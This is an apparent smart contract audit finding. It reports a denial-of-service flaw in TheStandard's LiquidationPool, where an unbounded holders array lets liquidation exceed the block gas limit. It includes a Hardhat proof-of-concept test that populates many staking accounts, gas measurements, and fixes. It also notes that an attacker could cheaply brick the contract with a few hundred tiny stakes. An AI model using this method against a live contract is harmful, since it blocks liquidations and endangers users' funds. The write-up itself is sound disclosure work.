Summary
LiquidationPool::holders is an unbounded array that can be sufficiently populated to cause a denial of the liquidation service.
Vulnerability Details
Initially a position is added using LiquidationPool::increasePosition(), where the pending stake cannot yet participate
in the liquidation. After one day, the pending stake it is eligible to become part of the holders position,
afterward it will participate in the liquidation.
The promotion of a pending stake happens in LiquidationPool::consolidatePendingStakes()
function consolidatePendingStakes() private {
uint256 deadline = block.timestamp - 1 days;
for (int256 i = 0; uint256(i) < pendingStakes.length; i++) {
PendingStake memory _stake = pendingStakes[uint256(i)];
if (_stake.createdAt < deadline) {
positions[_stake.holder].holder = _stake.holder;
positions[_stake.holder].TST += _stake.TST;
positions[_stake.holder].EUROs += _stake.EUROs;
deletePendingStake(uint256(i));
i--;
}
}
}
LiquidationPool::consolidatePendingStakes() is called in a few places, so the promotion of pending stakes can happen
independently of LiquidationPool::distributeAssets().
LiquidationPool::distributeAssets() contains a loop that iterates through each approved asset (a bounded array),
within another loop that iterating over each of the holders (an unbounded array).
@> for (uint256 j = 0; j < holders.length; j++) {
Position memory _position = positions[holders[j]];
uint256 _positionStake = stake(_position);
if (_positionStake > 0) {
@> for (uint256 i = 0; i < _assets.length; i++) {
ILiquidationPoolManager.Asset memory asset = _assets[i];
if (asset.amount > 0) {
(,int256 assetPriceUsd,,,) = Chainlink.AggregatorV3Interface(asset.token.clAddr).latestRoundData();
uint256 _portion = asset.amount * _positionStake / stakeTotal;
uint256 costInEuros = _portion * 10 ** (18 - asset.token.dec) * uint256(assetPriceUsd) / uint256(priceEurUsd)
* _hundredPC / _collateralRate;
if (costInEuros > _position.EUROs) {
_portion = _portion * _position.EUROs / costInEuros;
costInEuros = _position.EUROs;
}
_position.EUROs -= costInEuros;
rewards[abi.encodePacked(_position.holder, asset.token.symbol)] += _portion;
burnEuros += costInEuros;
if (asset.token.addr == address(0)) {
nativePurchased += _portion;
} else {
IERC20(asset.token.addr).safeTransferFrom(manager, address(this), _portion);
}
}
}
}
There is a non-trivial amount of computation and external contract calls (gas consumption) for every combination of
holders and assets. Ultimately with enough holders the block gas limit will be exceeded.
Test Case
Gas usage result data has been generated using a Javascript test case
Gas Reporter Setup
Transaction gas usage requires installing and configuring the `hardhat-gas-reporter` plugin to TheStandard project.
Add Gas-Reporter for project
npm install -D hardhat-gas-reporter
Add to context
In hardhat.config.ts
Include dependency
require("hardhat-gas-reporter");
Enable reporting
const config: HardhatUserConfig = {
gasReporter: {
enabled: true,
},
};
Test Case
creates a number of random users, each creating a liquidation position.
pending stakes are promoted, meaning each random user is now a holder.
mock smart vault manager is pushed funds
liquidation is run
Add the test case to liquidationPool.js
describe('denial of service', async () => {
it('holders in distribute assets', async () => {
const numberOfHolders = 130
const stake = ethers.utils.parseEther("100.0")
const provider = user1.provider
const ethCollateral = ethers.utils.parseEther('0.5');
const wbtcCollateral = BigNumber.from(1_000_000);
const usdcCollateral = BigNumber.from(500_000_000);
for (let i = 0; i < numberOfHolders; i++) {
const randomUser = ethers.Wallet.createRandom().connect(provider)
const tx = user1.sendTransaction({
to: randomUser.address,
value: ethers.utils.parseEther("1.0")
});
await TST.mint(randomUser.address, stake)
await TST.connect(randomUser).approve(LiquidationPool.address, stake)
await EUROs.mint(randomUser.address, stake);
await EUROs.connect(randomUser).approve(LiquidationPool.address, stake);
await LiquidationPool.connect(randomUser).increasePosition(stake, stake)
}
await fastForward(DAY);
await TST.mint(user2.address, stake)
await TST.connect(user2).approve(LiquidationPool.address, stake)
await LiquidationPool.connect(user2).increasePosition(stake, 0n)
await user2.sendTransaction({to: MockSmartVaultManager.address, value: ethCollateral});
await WBTC.mint(MockSmartVaultManager.address, wbtcCollateral);
await USDC.mint(MockSmartVaultManager.address, usdcCollateral);
await LiquidationPoolManager.runLiquidation(TOKEN_ID);
expect(await ethers.provider.getBalance(LiquidationPool.address)).to.be.greaterThan(ethers.constants.Zero);
expect(await WBTC.balanceOf(LiquidationPool.address)).to.be.greaterThan(ethers.constants.Zero);
expect(await USDC.balanceOf(LiquidationPool.address)).to.be.greaterThan(ethers.constants.Zero);
}).timeout(180000)
})
Run from the project root using:
npx hardhat test --grep "holders in distribute assets"
Results
Altering the numberOfHolders value when running the test and extracting the increasePosition and runLiquidation gas
results provides the following summary.
(The number of increasePosition calls minus one, is the number of holders for `runLiquidation, with a double bar separating each run)
·-----------------------------------------------|----------------------------|-------------|-----------------------------·
| Solc version: 0.8.17 · Optimizer enabled: false · Runs: 200 · Block limit: 32000000 gas │
················································|····························|·············|······························
| Methods │
···························|····················|··············|·············|·············|···············|··············
| Contract · Method · Min · Max · Avg ·
···························|····················|··············|·············|·············|···············|··············
···························|····················|··············|·············|·············|···············|··············
| LiquidationPool · increasePosition · 208237 · 924524 · 316888 · 11 · - │
···························|····················|··············|·············|·············|···············|··············
| LiquidationPoolManager · runLiquidation · - · - · 1502110 · 1 · - │
···························|····················|··············|·············|·············|···············|··············
···························|····················|··············|·············|·············|···············|··············
| LiquidationPool · increasePosition · 208237 · 2550304 · 424993 · 26 · - │
···························|····················|··············|·············|·············|···············|··············
| LiquidationPoolManager · runLiquidation · - · - · 3332993 · 1 · - │
···························|····················|··············|·············|·············|···············|··············
···························|····················|··············|·············|·············|···············|··············
| LiquidationPool · increasePosition · 208237 · 6321969 · 599670 · 51 · - │
···························|····················|··············|·············|·············|···············|··············
| LiquidationPoolManager · runLiquidation · - · - · 6377990 · 1 · - │
···························|····················|··············|·············|·············|···············|··············
···························|····················|·············|··············|·············|···············|··············
| LiquidationPool · increasePosition · 208237 · 17847917 · 946813 · 101 · - │
···························|····················|·············|··············|·············|···············|··············
| LiquidationPoolManager · runLiquidation · - · - · 12482893 · 1 · - │
···························|····················|·············|··············|·············|···············|··············
···························|····················|·············|··············|·············|···············|··············
| LiquidationPool · increasePosition · 208237 · 23945140 · 1085505 · 121 · - │
···························|····················|·············|··············|·············|···············|··············
| LiquidationPoolManager · runLiquidation · - · - · 15040068 · 1 · - │
···························|····················|·············|··············|·············|···············|··············
Out of gas failure at ~140 holders (using the mock classes, some of which likely consume less gas than the production version).
The data clearly demonstrates the impact of unbounded nested looping and gas consumption.
A liquidation when there are 140 holders on a vault of three assets (native and two ERC20) will exceed the Arbitum gas limit.
Impact
The denial of liquidation services, prevents under-collateralised vaults from being liquidated.
Eventually when a sufficient number of under-collateralised vaults exist (as they could not be liquidated),
the invariant of EUROs being over-collateralised will be broken.
As only the combination of few assets and a few hundred holders are required for the block gas limit to be exceeded,
it seems highly likely to occur with organic growth.
It would also be trivial for a malicious actor to create a few hundred accounts and have them each stake
1 gwei of TST and EUROs to brick the contract.
Once the issue manifests the only remedy to unblock the contract would be for enough holders to close their positions,
reducing holders size, however a malicious actor is unlikely to comply to a polite request.
Tools Used
Manual Review, Hardhat test, Hardhat gas reporter
Recommendations
There are gas optimisation available, but ultimately the number of holders needs to be bounded during a liquidation.
Choosing how to restrict the holders can range from easy to challenging.
A simple approach is keeping a uint256 for the index of the last recipient and only offer the liquidation to a fixed
number of holders, incrementing the index to last recipient, looping back around as necessary.
Extending the idea further, if the full collateral is not matched after the fixed number, the remainder could be offered
to a subsequent smaller.
Gas Optimisations
Cache Prices
As everything is within the single transaction, the assets will each have the same values for every holder.
Instead of retrieving the price every iteration, create a memory array and store the Chainlink asset prices in that,
and retrieve from there instead of the external contract call.
Chainlink price lookup
for (uint256 i = 0; i < _assets.length; i++) {
ILiquidationPoolManager.Asset memory asset = _assets[i];
if (asset.amount > 0) {
@> (,int256 assetPriceUsd,,,) = Chainlink.AggregatorV3Interface(asset.token.clAddr).latestRoundData();
uint256 _portion = asset.amount * _positionStake / stakeTotal;
Pre-calculate Stake Total
LiquidationPool::getStakeTotal() loops over every holder position to sum the stake.
Instead of calculating the stake every liquidation, keep a running total, updated during mutation in
LiquidationPool::consolidatePendingStakes() and LiquidationPool::decreasePosition().
stakeTotal
function distributeAssets(ILiquidationPoolManager.Asset[] memory _assets, uint256 _collateralRate, uint256 _hundredPC) external payable {
consolidatePendingStakes();
(,int256 priceEurUsd,,,) = Chainlink.AggregatorV3Interface(eurUsd).latestRoundData();
@> uint256 stakeTotal = getStakeTotal();
uint256 burnEuros;
uint256 nativePurchased;
EUROs balance check
When multiple assets are being liquidated, a holder may spend all their EUROs buying the early assets with no
balance left for the later ones. There no point continuing the loop over them for the remaining assets, instead end the loop early.
